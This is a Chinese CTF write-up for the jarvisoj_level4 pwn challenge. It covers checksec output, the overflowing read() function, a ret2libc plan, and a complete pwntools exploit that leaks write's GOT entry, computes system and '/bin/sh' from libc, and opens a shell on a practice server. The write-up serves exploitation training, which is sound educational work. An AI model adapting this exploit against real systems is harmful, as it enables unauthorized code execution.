jarvisooj_level4
Ubuntu 16 来源:https://github.com/bash-c/pwn_repo
0x01
checksec
1 2 3 4 5 6 [*] '/home/zelas/Desktop/pwn/jarvisoj_level4/level4' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled //栈不可执行 PIE: No PIE (0x8048000)
IDA
vulnerable_function()
1 2 3 4 5 6 ssize_t vulnerable_function () { char buf[136 ]; return read(0 , buf, 0x100 u); }
0x02
思路 ret2libc
1.栈溢出泄露write_got
2.利用LibcSearcher计算出system()和str_bin_sh
3.再次溢出执行system()
s
0x88
rbp
0x4
ret
write()
write_ret
main()
arg
write_plt
s
0x88
rbp
0x4
ret
system()
sys_ret
0xdeadbeef
arg
/bin/sh
0x03
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *from LibcSearcher import *context(log_level='debug' , os='linux' , arch='i386' ) io = remote('node4.buuoj.cn' , 25508 ) elf = ELF("./level4" ) padding = 0x88 + 0x4 write_plt = elf.plt['write' ] write_got = elf.got['write' ] main = elf.symbols['main' ] payload = flat(b'a' * padding, write_plt, main, 1 , write_got, 0x4 ) io.sendline(payload) write_addr = u32(io.recv(4 )) print ('[+] write_address -->' , hex (write_addr))libc = ELF('./libc-2.23.so' ) libc_base = write_addr - libc.symbols['write' ] system = libc_base + libc.symbols['system' ] bin_sh = libc_base + libc.search(b'/bin/sh\x00' ).__next__() print ('[+] libc_base -->' , hex (libc_base))print ('[+] system_address -->' , hex (system))print ('[+] bin_sh -->' , hex (bin_sh))payload = flat(b'a' * padding, system, 0 , bin_sh) io.sendline(payload) io.interactive()